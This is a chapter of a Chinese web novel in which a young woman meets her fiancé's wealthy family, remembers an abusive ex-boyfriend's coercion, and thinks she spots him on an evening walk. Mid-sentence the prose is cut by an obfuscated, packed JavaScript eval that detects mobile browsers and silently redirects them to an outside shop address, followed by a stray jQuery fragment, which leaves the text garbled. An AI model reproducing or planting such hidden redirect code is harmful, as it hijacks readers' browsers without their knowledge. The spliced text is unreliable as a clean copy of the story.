许之桃就像是雁阵里最不可能领头的那种鸟儿,又或是企鹅群里最靠后的那只,只要前面有个带领方向的,她就会亦步亦趋地跟上去。
而对许之桃而言,现在的谢燃就是引领她方向的那个,她下意识想要跟在这一屋子人里她熟悉程度最高的那个身后。
许之桃觉得自己非得说点什么话,来打破此时的尴尬。
许之桃:“喔其实我在想,就是我们什么时候去领——你在干嘛!”
话音突然变调。
谢燃的T恤脱到一半,动作一滞,并没有因此停下来。他脱下T恤,露出精壮的上身,许之桃当即转过身去背对着他。
谢燃很坦然:“我换衣服啊,刚刚浇花弄脏了。”
这倒也是,人家弄脏衣服回房间来换一件怎么了。
许之桃决定等谢燃换完衣服再继续说,谁料她下意识一回头,谢燃就站在自己身后。
许之桃下意识往前走了一步拉开距离。
许之桃:“——我是在想,我们什么时候去领证?”
谢燃:“很急吗?”
许之桃:“不是啊!我……我是说,我怕夜长梦多。”
她现在对于梁泊和许家来说还是失踪的状态,保不齐梁泊会做出什么来。
万一他去报警,怎么办?
但谢燃却会错了意。
谢燃:“别急,今天才周末,至少也得等明天,户口本还在我妈那儿。”
谢燃走到门口,回头看了眼许之桃:“不来吃吗?”
许之桃忙不迭又像只亦步亦趋的企鹅一样跟上。
……
这顿饭吃得许之桃很是拘谨。
谢燦和谢母一直忙着给许之桃夹菜,许之桃一直忙着道谢和夸夸,谢父时不时关心一下许之桃吃得习不习惯,有没有在沪城工作的意向,而谢煊和谢燃兄弟俩,则始终保持沉默。
谢煊本就是不善谈的人,吃饭安静点也很正常,但谢燃也没有怎么说话,好像将饭桌这个舞台让给了对许之桃好奇的家人们。
聊着聊着,话题渐渐转移到了未来的话题。
谢母很喜欢许之桃,一直笑眯眯地叨叨:“咱们桃子这么漂亮,将来生个宝宝一定也很漂亮。”
许之桃正在吃鸡蛋,差点就给噎住。
生孩子?!
她还从来没想过这茬。
早些年是想过的,许之桃也是很喜欢小孩子的人,不然也不会在之杞画室里心甘情愿带着那群小孩画画。
但许之桃忘不了梁泊说过的话。
记不得是春天还是秋天,一个稍有凉意的夜晚。许之桃和梁泊手牵着手沿着河堤走回家。
彼时许之桃还沉浸在梁泊难得的温柔里,俩人聊天,聊着聊着就聊到了以后。
许之桃开玩笑说:“要是以后,我们俩吵架,我要离开你,你怎么办呀?”
梁泊也笑:“咱俩有啥好吵的,你这么听话这么乖,再说你离开了我,你能去哪?翻遍整个小星镇,有人能比我更适合你?”
许之桃捏捏梁泊的手臂:“假如嘛,你说说,你说说。”
梁泊嗤笑一声,挣脱手臂,揽着许之桃的肩膀:“那我就让你怀孕,给我生个孩子,你就离不开了。”
许之桃已经忘了后来她是怎么回应的,只知道那天听月河上的河风格外凉,吹啊吹啊,吹得她也手脚冰凉。
从那以后许之桃每次事后都会偷偷仔细检查安全套有没有破损,就算是被梁泊用强,也会第一时间买紧急避孕药。
这事许妈是知道的。但许妈却不以为意,觉得“要是怀上就直接办酒结婚嘛,梁泊又不是不肯认,你反正迟早是要跟梁泊的”。
那时的许之桃,也同样对自己“迟早是要跟梁泊的”这件事深信不疑。然而,深信不疑,和放任怀孕,还是两码事。
许之桃天真地坚持着一个理念,她不想“带球”结婚,她要身材美美地穿着婚纱结婚,也不愿意被别人说成是“奉子成婚”。
现在跳出来想想,归根结底,还是潜意识里不愿意真的就被“绑”在梁泊身边了。
而梁泊说那话时的轻松恣意,也让许之桃感到害怕。
……
许之桃一时不知该如何接谢母的话。
反倒是谢燃淡淡地来了句:“我才不喜欢小孩,妈,你怎么不催谢煊啊?”
谢煊正认真剥鸡皮呢,莫名就被谢燃cue了一嘴,有点无措地抬眼,看看谢燃,看看谢母。
谢母真的就顺势拐到谢煊身上去了:“还真是,你跟丹丹这么多年,也没个动静,到底想不想生呀。”
谢煊扫了谢燃一眼,面不改色:“丹丹这会还在美国呢,您也知道,最近谢氏事情多,我俩也忙……”
谢母:“我可没有催你俩噢,我的意思是,你俩要生早点生,趁我还有点心思,过几年我跟你爸出去玩,可不帮你们带孩子。”
谢燦噗嗤就笑出来,谢煊没吱声,谢母乐呵呵的也没放过谢燦:“你笑什么,过两年就轮到你。”
许之桃眼看就这么避过了敏感话题,轻轻松了口气。一抬眼,就对上谢燃的目光。
谢燃看她的眼神,很奇怪。许之桃从他眼中捉到一丝失落,但又稍纵即逝。随即,他对许之桃笑了笑,招呼佣人给许之桃把炖好的汤盛上。
这一顿许之桃吃得还挺多。
心猿意马之时,机械性进食就变成了掩饰紧张的最佳动作。
许之桃也是真饿了,谢家的厨子做饭也是真好吃,等到她吃完,小肚子已经鼓起来,忍不住伸手捏了捏。
佣人过来收盘子,许之桃下意识站起身就要帮着收拾,依然是谢燦没心没肺地来了一句:“桃,你干嘛呢。”
许之桃手上也没停:“我帮忙收拾一下。”
谢燦:“不用你收拾啊,那不是你的活。”
许之桃反应过来,在这种大富人家,自有佣人来做家务。她这种见婆家时能讨好对方的举措,反而显得很格格不入。
这却不是许之桃刻意去讨好,而是已经形成了下意识的习惯。
谢燦:“你跟我哥去散步吧,别收拾啦。”
谢燃这会刚要上楼去换衣服,听到这话便收回脚步,拿起手机:“行,走吧。”
许之桃看得出来,谢燦是想制造她和谢燃单独相处的机会。而许之桃心里也是感激的,她确实不知道该如何面对这一大家子人——手都不知道怎么放。
谢燃家在沪城的城中,出门拐几步就拐到了街上。
刚刚下过一场小雨,街边的道路湿漉漉的,但比之小星镇,依然还是干净空旷。天色将暗,路上也没什么行人。
许之桃低着头跟在谢燃身后,没出声。
她不知道该去哪,也不知道谢燃想去哪,索性就跟着呗,走到谢燃累了要回去了再回去,消消食也是好的。
也不知道佳佳怎样了,梁泊有没有找过她,这几日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482608|137697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
佳佳都没有给她发消息,梁泊的消息她也是一句都没回复过。有些事没有解决,只是像冬日里的炭火,被用土灰掩埋,但其下的火苗依然蓄势待发。
想着想着,许之桃没注意到谢燃突然停了下来,她躲闪不及,一头撞到谢燃的背上。
谢燃反手抓住她,让她不至于摔倒路旁。
许之桃揉着额头:“怎么了……”
谢燃朝不远处勾勾下巴:“想不想吃?”
顺着他的目光望去,马路对面有一家哈根达斯。
他们是饭后出来散步消食的,怎么还想着投喂哈根达斯呢?
许之桃老老实实地点头:“想吃。”
这种东西在小星镇,许妈和梁泊都不会允许许之桃随随便便去吃的,一说是伤身,一说是幼稚,一说是容易长胖,总之有千万般理由。许之桃想吃都是偷偷摸摸地吃,下班路上随手买一个。
谢燃给许之桃选了蜜桃味的冰淇淋球,付了钱。
许之桃尝了一口,甜。
谢燃看小姑娘原本紧着的苦大愁深的脸终于绽开成一朵花,自己也看笑了。
许之桃挖了一勺凑到谢燃嘴边:“你也吃。”
谢燃垂眸看着那勺冰淇淋,没动。
许之桃反应过来,又回头拿了一个小勺子,挖了一勺递给谢燃,谢燃这才就着许之桃的手,连冰淇淋带勺子一起叼走了。
“是挺甜的。”
许之桃感激于谢燃的绅士和矜持,也暗暗明白,即便是即将结婚,她和谢燃,终究还是没有那么亲密。
也许谢燃也有不得不结婚的理由,只是恰巧自己找上了门而已呢。
许之桃把小碗递过去:“那你要不要再挖点吃?”
谢燃嗤笑:“许老师,我真想吃,不会自己再买一份吗?”
也是哦。
许之桃讷讷地把碗收回去。
谢燃还是习惯叫她许老师,听起来两个人尚有一些距离,但总在这尊称里,让许之桃听出一丝戏谑的玩闹意味。好像简简单单的许老师三个字,也有了别样的感觉。
两个人站在街边吃冰淇淋球,有点好笑,但许之桃也很久没有这样做了,她有点舍不得。
谢燃应该是不喜欢吃冰淇淋,但他也不急,双手插兜,很闲散地站在许之桃旁边,安静等许之桃把冰淇淋球吃完。
再回过头时,许之桃已经在挖碗底剩余的那一点点融化的冰淇淋了。
谢燃刚开口:“许老师,要不要再买两碗?”
衣领突然被许之桃一揪。
谢燃本就比许之桃高很多,猝不及防被她这么一揪,就不得不弯下腰来。
“怎么了许老师——”
许之桃根本没给他发问的机会,一揪一拽,居然拽着谢燃钻进了两道狭窄的墙体中。
这条街道是老街,房屋多是低矮的,房屋之间的墙体也年久失修,露出红砖的截面,有些缝隙并没有贴紧,堪堪容得下两个人面向而立。
谢燃被硬生生拽进墙缝里,刚想张口问,被许之桃倏然伸手捂住嘴。
她的掌心还有淡淡的蜜桃香味,谢燃怔怔地盯着她。
许之桃此刻脸色煞白,嘴唇也在微微颤抖。
谢燃从那淡淡的蜜桃香味挣扎出来,抬手安慰地抚着她的肩头,皱眉轻声问:“怎么了?”
半晌,许之桃的双眸才找回焦点,慌慌张张地看着他。
“我好像……看到梁泊了。”